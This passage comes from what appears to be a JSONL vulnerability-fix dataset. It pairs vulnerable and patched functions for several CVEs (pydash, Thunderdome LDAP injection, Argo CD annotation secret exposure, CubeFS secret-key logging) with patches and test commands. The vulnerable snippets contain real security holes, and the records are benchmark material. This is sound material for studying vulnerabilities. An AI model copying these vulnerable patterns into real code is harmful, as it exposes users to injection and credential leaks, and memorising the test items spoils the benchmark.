elif (allow_override or not hasattr(obj, key)) and obj is not None:\n+        _raise_if_restricted_key(key)\n         setattr(obj, key, value)\n \n     return obj\n\n--- /dev/null\n+++ b/src/pydash/helpers.py\n@@ -0,0 +1,177 @@\n+\n+#: Dictionary of builtins with keys as the builtin function and values as the string name.\n+BUILTINS = {value: key for key, value in builtins.__dict__.items() if isinstance(value, Hashable)}\n+\n+\n+def callit(iteratee, *args, **kwargs):\n+    \"\"\"Inspect argspec of `iteratee` function and only pass the supported arguments when calling\n+    it.\"\"\"\n+    maxargs = len(args)\n+    argcount = kwargs[\"argcount\"] if \"argcount\" in kwargs else getargcount(iteratee, maxargs)\n+    argstop = min([maxargs, argcount])\n+\n+    return iteratee(*args[:argstop])\n+\n+\n+def getargcount(iteratee, maxargs):\n+    \"\"\"Return argument count of iteratee function.\"\"\"\n+    if hasattr(iteratee, \"_argcount\"):\n+        # Optimization feature where argcount of iteratee is known and properly\n+        # set by initiator.\n+        return iteratee._argcount\n+\n+    if isinstance(iteratee, type) or pyd.is_builtin(iteratee):\n+        # Only pass single argument to type iteratees or builtins.\n+        argcount = 1\n+    else:\n+        argcount = 1\n+\n+        try:\n+            argcount = _getargcount(iteratee, maxargs)\n+        except TypeError:  # pragma: no cover\n+            pass\n+\n+    return argcount\n+\n+\n+def _getargcount(iteratee, maxargs):\n+    argcount = None\n+\n+    try:\n+        # PY2: inspect.signature was added in Python 3.\n+        # Try to use inspect.signature when possible since it works better for our purpose of\n+        # getting the iteratee argcount since it takes into account the \"self\" argument in callable\n+        # classes.\n+        sig = inspect.signature(iteratee)\n+    except (TypeError, ValueError, AttributeError):\n+        pass\n+    else:  # pragma: no cover\n+        if not any(\n+            param.kind == inspect.Parameter.VAR_POSITIONAL for param in sig.parameters.values()\n+        ):\n+            argcount = len(sig.parameters)\n+\n+    if argcount is None:\n+        argspec = getfullargspec(iteratee)\n+        if argspec and not argspec.varargs:  # pragma: no cover\n+            # Use inspected arg count.\n+            argcount = len(argspec.args)\n+\n+    if argcount is None:\n+        # Assume all args are handleable.\n+        argcount = maxargs\n+\n+    return argcount\n+\n+\n+def iteriteratee(obj, iteratee=None, reverse=False):\n+    \"\"\"Return iterative iteratee based on collection type.\"\"\"\n+    if iteratee is None:\n+        cbk = pyd.identity\n+        argcount = 1\n+    else:\n+        cbk = pyd.iteratee(iteratee)\n+        argcount = getargcount(cbk, maxargs=3)\n+\n+    items = iterator(obj)\n+\n+    if reverse:\n+        items = reversed(tuple(items))\n+\n+    for key, item in items:\n+        yield callit(cbk, item, key, obj, argcount=argcount), item, key, obj\n+\n+\n+def iterator(obj):\n+    \"\"\"Return iterative based on object type.\"\"\"\n+    if isinstance(obj, Mapping):\n+        return obj.items()\n+    elif hasattr(obj, \"iteritems\"):\n+        return obj.iteritems()  # noqa: B301\n+    elif hasattr(obj, \"items\"):\n+        return iter(obj.items())\n+    elif isinstance(obj, Iterable):\n+        return enumerate(obj)\n+    else:\n+        return getattr(obj, \"__dict__\", {}).items()\n+\n+\n+def base_get(obj, key, default=UNSET):\n+    \"\"\"\n+    Safely get an item by `key` from a sequence or mapping object when `default` provided.\n+\n+    Args:\n+        obj (list|dict): Sequence or mapping to retrieve item from.\n+        key (mixed): Key or index identifying which item to retrieve.\n+        default (mixed, optional): Default value to return if `key` not found in `obj`.\n+\n+    Returns:\n+        mixed: `obj[key]`, `obj.key`, or `default`.\n+\n+    Raises:\n+        KeyError: If `obj` is missing key, index, or attribute and no default value provided.\n+    \"\"\"\n+    if isinstance(obj, dict):\n+        value = _base_get_dict(obj, key, default=default)\n+    elif not isinstance(obj, (Mapping, Sequence)) or (\n+        isinstance(obj, tuple) and hasattr(obj, \"_fields\")\n+    ):\n+        # Don't use getattr for dict/list objects since we don't want class methods/attributes\n+        # returned for them but do allow getattr for namedtuple.\n+        value = _base_get_object(obj, key, default=default)\n+    else:\n+        value = _base_get_item(obj, key, default=default)\n+\n+    if value is UNSET:\n+        # Raise if there's no default provided.\n+        raise KeyError(f'Object \"{repr(obj)}\" does not have key \"{key}\"')\n+\n+    return value\n+\n+\n+def _base_get_dict(obj, key, default=UNSET):\n+    value = obj.get(key, UNSET)\n+    if value is UNSET:\n+        value = default\n+        if not isinstance(key, int):\n+            # Try integer key fallback.\n+            try:\n+                value = obj.get(int(key), default)\n+            except Exception:\n+                pass\n+    return value\n+\n+\n+def _base_get_item(obj, key, default=UNSET):\n+    try:\n+        return obj[key]\n+    except Exception:\n+        pass\n+\n+    if not isinstance(key, int):\n+        try:\n+            return obj[int(key)]\n+        except Exception:\n+            pass\n+\n+    return default\n+\n+\n+def _base_get_object(obj, key, default=UNSET):\n+    value = _base_get_item(obj, key, default=UNSET)\n+    if value is UNSET:\n+        _raise_if_restricted_key(key)\n+        value = default\n+        try:\n+            value = getattr(obj, key)\n+        except Exception:\n+            pass\n+    return value\n+\n+\n+def _raise_if_restricted_key(key):\n+    # Prevent access to dunder-methods since this could expose access to globals through leaky\n+    # attributes such as obj.__init__.__globals__.\n+    if len(key) > 4 and key.isascii() and key.startswith(\"__\") and key.endswith(\"__\"):\n+        raise KeyError(f\"access to restricted key {key!r} is not allowed\")\n+\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-26145:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/pydash\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-26145/bin/python  hand_test.py\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-26145:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/pydash\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-26145/bin/python -m pytest tests/test_objects.py -v"}
{"cve_id": "CVE-2021-41232", "cve_description": "Thunderdome is an open source agile planning poker tool in the theme of Battling for points. In affected versions there is an LDAP injection vulnerability which affects instances with LDAP authentication enabled. The provided username is not properly escaped. This issue has been patched in version 1.16.3. If users are unable to update they should disable the LDAP feature if in use.", "cwe_info": {"CWE-116": {"name": "Improper Encoding or Escaping of Output", "description": "The product prepares a structured message for communication with another component, but encoding or escaping of the data is either missing or done incorrectly. As a result, the intended structure of the message is not preserved."}}, "repo": "https://github.com/StevenWeathers/thunderdome-planning-poker", "patch_url": ["https://github.com/StevenWeathers/thunderdome-planning-poker/commit/f1524d01e8a0f2d6c3db5461c742456c692dd8c1"], "programing_language": "Go", "vul_func": [{"id": "vul_go_225_1", "commit": "2b9ae2e", "file_path": "auth.go", "start_line": "44", "end_line": "114", "snippet": "// Authenticate using LDAP and if user does not exist, automatically add user as a verified user\nfunc (s *server) authAndCreateUserLdap(UserName string, UserPassword string) (*database.User, error) {\n\tvar AuthedUser *database.User\n\tl, err := ldap.DialURL(viper.GetString(\"auth.ldap.url\"))\n\tif err != nil {\n\t\tlog.Println(\"Failed connecting to ldap server at\", viper.GetString(\"auth.ldap.url\"))\n\t\treturn AuthedUser, err\n\t}\n\tdefer l.Close()\n\tif viper.GetBool(\"auth.ldap.use_tls\") {\n\t\terr = l.StartTLS(&tls.Config{InsecureSkipVerify: true})\n\t\tif err != nil {\n\t\t\tlog.Println(\"Failed securing ldap connection\", err)\n\t\t\treturn AuthedUser, err\n\t\t}\n\t}\n\n\tif viper.GetString(\"auth.ldap.bindname\") != \"\" {\n\t\terr = l.Bind(viper.GetString(\"auth.ldap.bindname\"), viper.GetString(\"auth.ldap.bindpass\"))\n\t\tif err != nil {\n\t\t\tlog.Println(\"Failed binding for authentication:\", err)\n\t\t\treturn AuthedUser, err\n\t\t}\n\t}\n\n\tsearchRequest := ldap.NewSearchRequest(viper.GetString(\"auth.ldap.basedn\"),\n\t\tldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false,\n\t\tfmt.Sprintf(viper.GetString(\"auth.ldap.filter\"), UserName),\n\t\t[]string{\"dn\", viper.GetString(\"auth.ldap.mail_attr\"), viper.GetString(\"auth.ldap.cn_attr\")},\n\t\tnil,\n\t)\n\n\tsr, err := l.Search(searchRequest)\n\tif err != nil {\n\t\tlog.Println(\"Failed performing ldap search query for\", UserName, \":\", err)\n\t\treturn AuthedUser, err\n\t}\n\n\tif len(sr.Entries) != 1 {\n\t\tlog.Println(\"User\", UserName, \"does not exist or too many entries returned\")\n\t\treturn AuthedUser, errors.New(\"user not found\")\n\t}\n\n\tuserdn := sr.Entries[0].DN\n\tuseremail := sr.Entries[0].GetAttributeValue(viper.GetString(\"auth.ldap.mail_attr\"))\n\tusercn := sr.Entries[0].GetAttributeValue(viper.GetString(\"auth.ldap.cn_attr\"))\n\n\terr = l.Bind(userdn, UserPassword)\n\tif err != nil {\n\t\tlog.Println(\"Failed authenticating user \", UserName)\n\t\treturn AuthedUser, err\n\t}\n\n\tAuthedUser, err = s.database.GetUserByEmail(useremail)\n\tif AuthedUser == nil {\n\t\tlog.Println(\"User\", useremail, \"does not exist in database, auto-recruit\")\n\t\tnewUser, verifyID, err := s.database.CreateUserRegistered(usercn, useremail, \"\", \"\")\n\t\tif err != nil {\n\t\t\tlog.Println(\"Failed auto-creating new user\", err)\n\t\t\treturn AuthedUser, err\n\t\t}\n\t\terr = s.database.VerifyUserAccount(verifyID)\n\t\tif err != nil {\n\t\t\tlog.Println(\"Failed verifying new user\", err)\n\t\t\treturn AuthedUser, err\n\t\t}\n\t\tAuthedUser = newUser\n\t}\n\n\treturn AuthedUser, nil\n}"}], "fix_func": [{"id": "fix_go_225_1", "commit": "f1524d0", "file_path": "auth.go", "start_line": "44", "end_line": "114", "snippet": "// Authenticate using LDAP and if user does not exist, automatically add user as a verified user\nfunc (s *server) authAndCreateUserLdap(UserName string, UserPassword string) (*database.User, error) {\n\tvar AuthedUser *database.User\n\tl, err := ldap.DialURL(viper.GetString(\"auth.ldap.url\"))\n\tif err != nil {\n\t\tlog.Println(\"Failed connecting to ldap server at\", viper.GetString(\"auth.ldap.url\"))\n\t\treturn AuthedUser, err\n\t}\n\tdefer l.Close()\n\tif viper.GetBool(\"auth.ldap.use_tls\") {\n\t\terr = l.StartTLS(&tls.Config{InsecureSkipVerify: true})\n\t\tif err != nil {\n\t\t\tlog.Println(\"Failed securing ldap connection\", err)\n\t\t\treturn AuthedUser, err\n\t\t}\n\t}\n\n\tif viper.GetString(\"auth.ldap.bindname\") != \"\" {\n\t\terr = l.Bind(viper.GetString(\"auth.ldap.bindname\"), viper.GetString(\"auth.ldap.bindpass\"))\n\t\tif err != nil {\n\t\t\tlog.Println(\"Failed binding for authentication:\", err)\n\t\t\treturn AuthedUser, err\n\t\t}\n\t}\n\n\tsearchRequest := ldap.NewSearchRequest(viper.GetString(\"auth.ldap.basedn\"),\n\t\tldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false,\n\t\tfmt.Sprintf(viper.GetString(\"auth.ldap.filter\"), ldap.EscapeFilter(UserName)),\n\t\t[]string{\"dn\", viper.GetString(\"auth.ldap.mail_attr\"), viper.GetString(\"auth.ldap.cn_attr\")},\n\t\tnil,\n\t)\n\n\tsr, err := l.Search(searchRequest)\n\tif err != nil {\n\t\tlog.Println(\"Failed performing ldap search query for\", UserName, \":\", err)\n\t\treturn AuthedUser, err\n\t}\n\n\tif len(sr.Entries) != 1 {\n\t\tlog.Println(\"User\", UserName, \"does not exist or too many entries returned\")\n\t\treturn AuthedUser, errors.New(\"user not found\")\n\t}\n\n\tuserdn := sr.Entries[0].DN\n\tuseremail := sr.Entries[0].GetAttributeValue(viper.GetString(\"auth.ldap.mail_attr\"))\n\tusercn := sr.Entries[0].GetAttributeValue(viper.GetString(\"auth.ldap.cn_attr\"))\n\n\terr = l.Bind(userdn, UserPassword)\n\tif err != nil {\n\t\tlog.Println(\"Failed authenticating user \", UserName)\n\t\treturn AuthedUser, err\n\t}\n\n\tAuthedUser, err = s.database.GetUserByEmail(useremail)\n\tif AuthedUser == nil {\n\t\tlog.Println(\"User\", useremail, \"does not exist in database, auto-recruit\")\n\t\tnewUser, verifyID, err := s.database.CreateUserRegistered(usercn, useremail, \"\", \"\")\n\t\tif err != nil {\n\t\t\tlog.Println(\"Failed auto-creating new user\", err)\n\t\t\treturn AuthedUser, err\n\t\t}\n\t\terr = s.database.VerifyUserAccount(verifyID)\n\t\tif err != nil {\n\t\t\tlog.Println(\"Failed verifying new user\", err)\n\t\t\treturn AuthedUser, err\n\t\t}\n\t\tAuthedUser = newUser\n\t}\n\n\treturn AuthedUser, nil\n}"}], "vul_patch": "--- a/auth.go\n+++ b/auth.go\n@@ -25,7 +25,7 @@\n \n \tsearchRequest := ldap.NewSearchRequest(viper.GetString(\"auth.ldap.basedn\"),\n \t\tldap.ScopeWholeSubtree, ldap.NeverDerefAliases, 0, 0, false,\n-\t\tfmt.Sprintf(viper.GetString(\"auth.ldap.filter\"), UserName),\n+\t\tfmt.Sprintf(viper.GetString(\"auth.ldap.filter\"), ldap.EscapeFilter(UserName)),\n \t\t[]string{\"dn\", viper.GetString(\"auth.ldap.mail_attr\"), viper.GetString(\"auth.ldap.cn_attr\")},\n \t\tnil,\n \t)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-40029", "cve_description": "Argo CD is a declarative continuous deployment for Kubernetes. Argo CD Cluster secrets might be managed declaratively using Argo CD / kubectl apply. As a result, the full secret body is stored in`kubectl.kubernetes.io/last-applied-configuration` annotation. pull request #7139 introduced the ability to manage cluster labels and annotations. Since clusters are stored as secrets it also exposes the `kubectl.kubernetes.io/last-applied-configuration` annotation which includes full secret body. In order to view the cluster annotations via the Argo CD API, the user must have `clusters, get` RBAC access. **Note:** In many cases, cluster secrets do not contain any actually-secret information. But sometimes, as in bearer-token auth, the contents might be very sensitive. The bug has been patched in versions 2.8.3, 2.7.14, and 2.6.15. Users are advised to upgrade. Users unable to upgrade should update/deploy cluster secret with `server-side-apply` flag which does not use or rely on `kubectl.kubernetes.io/last-applied-configuration` annotation. Note: annotation for existing secrets will require manual removal.\n\n", "cwe_info": {"CWE-532": {"name": "Insertion of Sensitive Information into Log File", "description": "The product writes sensitive information to a log file."}}, "repo": "https://github.com/argoproj/argo-cd", "patch_url": ["https://github.com/argoproj/argo-cd/commit/4b2e5b06bff2ffd8ed1970654ddd8e55fc4a41c4"], "programing_language": "Go", "vul_func": [{"id": "vul_go_82_1", "commit": "b8f92c4", "file_path": "util/db/cluster.go", "start_line": "320", "end_line": "361", "snippet": "func clusterToSecret(c *appv1.Cluster, secret *apiv1.Secret) error {\n\tdata := make(map[string][]byte)\n\tdata[\"server\"] = []byte(strings.TrimRight(c.Server, \"/\"))\n\tif c.Name == \"\" {\n\t\tdata[\"name\"] = []byte(c.Server)\n\t} else {\n\t\tdata[\"name\"] = []byte(c.Name)\n\t}\n\tif len(c.Namespaces) != 0 {\n\t\tdata[\"namespaces\"] = []byte(strings.Join(c.Namespaces, \",\"))\n\t}\n\tconfigBytes, err := json.Marshal(c.Config)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdata[\"config\"] = configBytes\n\tif c.Shard != nil {\n\t\tdata[\"shard\"] = []byte(strconv.Itoa(int(*c.Shard)))\n\t}\n\tif c.ClusterResources {\n\t\tdata[\"clusterResources\"] = []byte(\"true\")\n\t}\n\tif c.Project != \"\" {\n\t\tdata[\"project\"] = []byte(c.Project)\n\t}\n\tsecret.Data = data\n\n\tsecret.Labels = c.Labels\n\tsecret.Annotations = c.Annotations\n\n\tif secret.Annotations == nil {\n\t\tsecret.Annotations = make(map[string]string)\n\t}\n\n\tif c.RefreshRequestedAt != nil {\n\t\tsecret.Annotations[appv1.AnnotationKeyRefresh] = c.RefreshRequestedAt.Format(time.RFC3339)\n\t} else {\n\t\tdelete(secret.Annotations, appv1.AnnotationKeyRefresh)\n\t}\n\taddSecretMetadata(secret, common.LabelValueSecretTypeCluster)\n\treturn nil\n}"}, {"id": "vul_go_82_2", "commit": "b8f92c4", "file_path": "util/db/cluster.go", "start_line": "364", "end_line": "423", "snippet": "func SecretToCluster(s *apiv1.Secret) (*appv1.Cluster, error) {\n\tvar config appv1.ClusterConfig\n\tif len(s.Data[\"config\"]) > 0 {\n\t\terr := json.Unmarshal(s.Data[\"config\"], &config)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to unmarshal cluster config: %w\", err)\n\t\t}\n\t}\n\n\tvar namespaces []string\n\tfor _, ns := range strings.Split(string(s.Data[\"namespaces\"]), \",\") {\n\t\tif ns = strings.TrimSpace(ns); ns != \"\" {\n\t\t\tnamespaces = append(namespaces, ns)\n\t\t}\n\t}\n\tvar refreshRequestedAt *metav1.Time\n\tif v, found := s.Annotations[appv1.AnnotationKeyRefresh]; found {\n\t\trequestedAt, err := time.Parse(time.RFC3339, v)\n\t\tif err != nil {\n\t\t\tlog.Warnf(\"Error while parsing date in cluster secret '%s': %v\", s.Name, err)\n\t\t} else {\n\t\t\trefreshRequestedAt = &metav1.Time{Time: requestedAt}\n\t\t}\n\t}\n\tvar shard *int64\n\tif shardStr := s.Data[\"shard\"]; shardStr != nil {\n\t\tif val, err := strconv.Atoi(string(shardStr)); err != nil {\n\t\t\tlog.Warnf(\"Error while parsing shard in cluster secret '%s': %v\", s.Name, err)\n\t\t} else {\n\t\t\tshard = pointer.Int64Ptr(int64(val))\n\t\t}\n\t}\n\n\t// copy labels and annotations excluding system ones\n\tlabels := map[string]string{}\n\tif s.Labels != nil {\n\t\tlabels = collections.CopyStringMap(s.Labels)\n\t\tdelete(labels, common.LabelKeySecretType)\n\t}\n\tannotations := map[string]string{}\n\tif s.Annotations != nil {\n\t\tannotations = collections.CopyStringMap(s.Annotations)\n\t\tdelete(annotations, common.AnnotationKeyManagedBy)\n\t}\n\n\tcluster := appv1.Cluster{\n\t\tID:                 string(s.UID),\n\t\tServer:             strings.TrimRight(string(s.Data[\"server\"]), \"/\"),\n\t\tName:               string(s.Data[\"name\"]),\n\t\tNamespaces:         namespaces,\n\t\tClusterResources:   string(s.Data[\"clusterResources\"]) == \"true\",\n\t\tConfig:             config,\n\t\tRefreshRequestedAt: refreshRequestedAt,\n\t\tShard:              shard,\n\t\tProject:            string(s.Data[\"project\"]),\n\t\tLabels:             labels,\n\t\tAnnotations:        annotations,\n\t}\n\treturn &cluster, nil\n}"}], "fix_func": [{"id": "fix_go_82_1", "commit": "4b2e5b0", "file_path": "util/db/cluster.go", "start_line": "320", "end_line": "364", "snippet": "func clusterToSecret(c *appv1.Cluster, secret *apiv1.Secret) error {\n\tdata := make(map[string][]byte)\n\tdata[\"server\"] = []byte(strings.TrimRight(c.Server, \"/\"))\n\tif c.Name == \"\" {\n\t\tdata[\"name\"] = []byte(c.Server)\n\t} else {\n\t\tdata[\"name\"] = []byte(c.Name)\n\t}\n\tif len(c.Namespaces) != 0 {\n\t\tdata[\"namespaces\"] = []byte(strings.Join(c.Namespaces, \",\"))\n\t}\n\tconfigBytes, err := json.Marshal(c.Config)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdata[\"config\"] = configBytes\n\tif c.Shard != nil {\n\t\tdata[\"shard\"] = []byte(strconv.Itoa(int(*c.Shard)))\n\t}\n\tif c.ClusterResources {\n\t\tdata[\"clusterResources\"] = []byte(\"true\")\n\t}\n\tif c.Project != \"\" {\n\t\tdata[\"project\"] = []byte(c.Project)\n\t}\n\tsecret.Data = data\n\n\tsecret.Labels = c.Labels\n\tif c.Annotations != nil && c.Annotations[apiv1.LastAppliedConfigAnnotation] != \"\" {\n\t\treturn status.Errorf(codes.InvalidArgument, \"annotation %s cannot be set\", apiv1.LastAppliedConfigAnnotation)\n\t}\n\tsecret.Annotations = c.Annotations\n\n\tif secret.Annotations == nil {\n\t\tsecret.Annotations = make(map[string]string)\n\t}\n\n\tif c.RefreshRequestedAt != nil {\n\t\tsecret.Annotations[appv1.AnnotationKeyRefresh] = c.RefreshRequestedAt.Format(time.RFC3339)\n\t} else {\n\t\tdelete(secret.Annotations, appv1.AnnotationKeyRefresh)\n\t}\n\taddSecretMetadata(secret, common.LabelValueSecretTypeCluster)\n\treturn nil\n}"}, {"id": "fix_go_82_2", "commit": "4b2e5b0", "file_path": "util/db/cluster.go", "start_line": "367", "end_line": "428", "snippet": "func SecretToCluster(s *apiv1.Secret) (*appv1.Cluster, error) {\n\tvar config appv1.ClusterConfig\n\tif len(s.Data[\"config\"]) > 0 {\n\t\terr := json.Unmarshal(s.Data[\"config\"], &config)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to unmarshal cluster config: %w\", err)\n\t\t}\n\t}\n\n\tvar namespaces []string\n\tfor _, ns := range strings.Split(string(s.Data[\"namespaces\"]), \",\") {\n\t\tif ns = strings.TrimSpace(ns); ns != \"\" {\n\t\t\tnamespaces = append(namespaces, ns)\n\t\t}\n\t}\n\tvar refreshRequestedAt *metav1.Time\n\tif v, found := s.Annotations[appv1.AnnotationKeyRefresh]; found {\n\t\trequestedAt, err := time.Parse(time.RFC3339, v)\n\t\tif err != nil {\n\t\t\tlog.Warnf(\"Error while parsing date in cluster secret '%s': %v\", s.Name, err)\n\t\t} else {\n\t\t\trefreshRequestedAt = &metav1.Time{Time: requestedAt}\n\t\t}\n\t}\n\tvar shard *int64\n\tif shardStr := s.Data[\"shard\"]; shardStr != nil {\n\t\tif val, err := strconv.Atoi(string(shardStr)); err != nil {\n\t\t\tlog.Warnf(\"Error while parsing shard in cluster secret '%s': %v\", s.Name, err)\n\t\t} else {\n\t\t\tshard = pointer.Int64Ptr(int64(val))\n\t\t}\n\t}\n\n\t// copy labels and annotations excluding system ones\n\tlabels := map[string]string{}\n\tif s.Labels != nil {\n\t\tlabels = collections.CopyStringMap(s.Labels)\n\t\tdelete(labels, common.LabelKeySecretType)\n\t}\n\tannotations := map[string]string{}\n\tif s.Annotations != nil {\n\t\tannotations = collections.CopyStringMap(s.Annotations)\n\t\t// delete system annotations\n\t\tdelete(annotations, apiv1.LastAppliedConfigAnnotation)\n\t\tdelete(annotations, common.AnnotationKeyManagedBy)\n\t}\n\n\tcluster := appv1.Cluster{\n\t\tID:                 string(s.UID),\n\t\tServer:             strings.TrimRight(string(s.Data[\"server\"]), \"/\"),\n\t\tName:               string(s.Data[\"name\"]),\n\t\tNamespaces:         namespaces,\n\t\tClusterResources:   string(s.Data[\"clusterResources\"]) == \"true\",\n\t\tConfig:             config,\n\t\tRefreshRequestedAt: refreshRequestedAt,\n\t\tShard:              shard,\n\t\tProject:            string(s.Data[\"project\"]),\n\t\tLabels:             labels,\n\t\tAnnotations:        annotations,\n\t}\n\treturn &cluster, nil\n}"}], "vul_patch": "--- a/util/db/cluster.go\n+++ b/util/db/cluster.go\n@@ -26,6 +26,9 @@\n \tsecret.Data = data\n \n \tsecret.Labels = c.Labels\n+\tif c.Annotations != nil && c.Annotations[apiv1.LastAppliedConfigAnnotation] != \"\" {\n+\t\treturn status.Errorf(codes.InvalidArgument, \"annotation %s cannot be set\", apiv1.LastAppliedConfigAnnotation)\n+\t}\n \tsecret.Annotations = c.Annotations\n \n \tif secret.Annotations == nil {\n\n--- a/util/db/cluster.go\n+++ b/util/db/cluster.go\n@@ -40,6 +40,8 @@\n \tannotations := map[string]string{}\n \tif s.Annotations != nil {\n \t\tannotations = collections.CopyStringMap(s.Annotations)\n+\t\t// delete system annotations\n+\t\tdelete(annotations, apiv1.LastAppliedConfigAnnotation)\n \t\tdelete(annotations, common.AnnotationKeyManagedBy)\n \t}\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-40029:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/argo-cd\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test -timeout 30s -run ^Test_secretToCluster_LastAppliedConfigurationDropped$ github.com/argoproj/argo-cd/v2/util/db\n", "unit_test_cmd": null}
{"cve_id": "CVE-2023-46742", "cve_description": "CubeFS is an open-source cloud-native file storage system. CubeFS prior to version 3.3.1 was found to leak users secret keys and access keys in the logs in multiple components. When CubeCS creates new users, it leaks the users secret key. This could allow a lower-privileged user with access to the logs to retrieve sensitive information and impersonate other users with higher privileges than themselves. The issue has been patched in v3.3.1. There is no other mitigation than upgrading CubeFS.", "cwe_info": {"CWE-532": {"name": "Insertion of Sensitive Information into Log File", "description": "The product writes sensitive information to a log file."}}, "repo": "https://github.com/cubefs/cubefs", "patch_url": ["https://github.com/cubefs/cubefs/commit/8dccce6ac8dff3db44d7e9074094c7303a5ff5dd"], "programing_language": "Go", "vul_func": [{"id": "vul_go_86_1", "commit": "c21d034", "file_path": "master/user.go", "start_line": "43", "end_line": "111", "snippet": "func (u *User) createKey(param *proto.UserCreateParam) (userInfo *proto.UserInfo, err error) {\n\tvar (\n\t\tAKUser     *proto.AKUser\n\t\tuserPolicy *proto.UserPolicy\n\t\texist      bool\n\t)\n\tif param.ID == \"\" {\n\t\terr = proto.ErrInvalidUserID\n\t\treturn\n\t}\n\tif !param.Type.Valid() {\n\t\terr = proto.ErrInvalidUserType\n\t\treturn\n\t}\n\n\tvar userID = param.ID\n\tvar password = param.Password\n\tif password == \"\" {\n\t\tpassword = DefaultUserPassword\n\t}\n\tvar accessKey = param.AccessKey\n\tif accessKey == \"\" {\n\t\taccessKey = util.RandomString(accessKeyLength, util.Numeric|util.LowerLetter|util.UpperLetter)\n\t} else {\n\t\tif !proto.IsValidAK(accessKey) {\n\t\t\terr = proto.ErrInvalidAccessKey\n\t\t\treturn\n\t\t}\n\t}\n\tvar secretKey = param.SecretKey\n\tif secretKey == \"\" {\n\t\tsecretKey = util.RandomString(secretKeyLength, util.Numeric|util.LowerLetter|util.UpperLetter)\n\t} else {\n\t\tif !proto.IsValidSK(secretKey) {\n\t\t\terr = proto.ErrInvalidSecretKey\n\t\t\treturn\n\t\t}\n\t}\n\tvar userType = param.Type\n\tvar description = param.Description\n\tu.userStoreMutex.Lock()\n\tdefer u.userStoreMutex.Unlock()\n\tu.AKStoreMutex.Lock()\n\tdefer u.AKStoreMutex.Unlock()\n\t//check duplicate\n\tif _, exist = u.userStore.Load(userID); exist {\n\t\terr = proto.ErrDuplicateUserID\n\t\treturn\n\t}\n\t_, exist = u.AKStore.Load(accessKey)\n\tfor exist {\n\t\taccessKey = util.RandomString(accessKeyLength, util.Numeric|util.LowerLetter|util.UpperLetter)\n\t\t_, exist = u.AKStore.Load(accessKey)\n\t}\n\tuserPolicy = proto.NewUserPolicy()\n\tuserInfo = &proto.UserInfo{UserID: userID, AccessKey: accessKey, SecretKey: secretKey, Policy: userPolicy,\n\t\tUserType: userType, CreateTime: time.Unix(time.Now().Unix(), 0).Format(proto.TimeFormat), Description: description}\n\tAKUser = &proto.AKUser{AccessKey: accessKey, UserID: userID, Password: encodingPassword(password)}\n\tif err = u.syncAddUserInfo(userInfo); err != nil {\n\t\treturn\n\t}\n\tif err = u.syncAddAKUser(AKUser); err != nil {\n\t\treturn\n\t}\n\tu.userStore.Store(userID, userInfo)\n\tu.AKStore.Store(accessKey, AKUser)\n\tlog.LogInfof(\"action[createUser], userID: %v, accesskey[%v], secretkey[%v]\", userID, accessKey, secretKey)\n\treturn\n}"}], "fix_func": [{"id": "fix_go_86_1", "commit": "8dccce6", "file_path": "master/user.go", "start_line": "43", "end_line": "111", "snippet": "func (u *User) createKey(param *proto.UserCreateParam) (userInfo *proto.UserInfo, err error) {\n\tvar (\n\t\tAKUser     *proto.AKUser\n\t\tuserPolicy *proto.UserPolicy\n\t\texist      bool\n\t)\n\tif param.ID == \"\" {\n\t\terr = proto.ErrInvalidUserID\n\t\treturn\n\t}\n\tif !param.Type.Valid() {\n\t\terr = proto.ErrInvalidUserType\n\t\treturn\n\t}\n\n\tvar userID = param.ID\n\tvar password = param.Password\n\tif password == \"\" {\n\t\tpassword = DefaultUserPassword\n\t}\n\tvar accessKey = param.AccessKey\n\tif accessKey == \"\" {\n\t\taccessKey = util.RandomString(accessKeyLength, util.Numeric|util.LowerLetter|util.UpperLetter)\n\t} else {\n\t\tif !proto.IsValidAK(accessKey) {\n\t\t\terr = proto.ErrInvalidAccessKey\n\t\t\treturn\n\t\t}\n\t}\n\tvar secretKey = param.SecretKey\n\tif secretKey == \"\" {\n\t\tsecretKey = util.RandomString(secretKeyLength, util.Numeric|util.LowerLetter|util.UpperLetter)\n\t} else {\n\t\tif !proto.IsValidSK(secretKey) {\n\t\t\terr = proto.ErrInvalidSecretKey\n\t\t\treturn\n\t\t}\n\t}\n\tvar userType = param.Type\n\tvar description = param.Description\n\tu.userStoreMutex.Lock()\n\tdefer u.userStoreMutex.Unlock()\n\tu.AKStoreMutex.Lock()\n\tdefer u.AKStoreMutex.Unlock()\n\t//check duplicate\n\tif _, exist = u.userStore.Load(userID); exist {\n\t\terr = proto.ErrDuplicateUserID\n\t\treturn\n\t}\n\t_, exist = u.AKStore.Load(accessKey)\n\tfor exist {\n\t\taccessKey = util.RandomString(accessKeyLength, util.Numeric|util.LowerLetter|util.UpperLetter)\n\t\t_, exist = u.AKStore.Load(accessKey)\n\t}\n\tuserPolicy = proto.NewUserPolicy()\n\tuserInfo = &proto.UserInfo{UserID: userID, AccessKey: accessKey, SecretKey: secretKey, Policy: userPolicy,\n\t\tUserType: userType, CreateTime: time.Unix(time.Now().Unix(), 0).Format(proto.TimeFormat), Description: description}\n\tAKUser = &proto.AKUser{AccessKey: accessKey, UserID: userID, Password: encodingPassword(password)}\n\tif err = u.syncAddUserInfo(userInfo); err != nil {\n\t\treturn\n\t}\n\tif err = u.syncAddAKUser(AKUser); err != nil {\n\t\treturn\n\t}\n\tu.userStore.Store(userID, userInfo)\n\tu.AKStore.Store(accessKey, 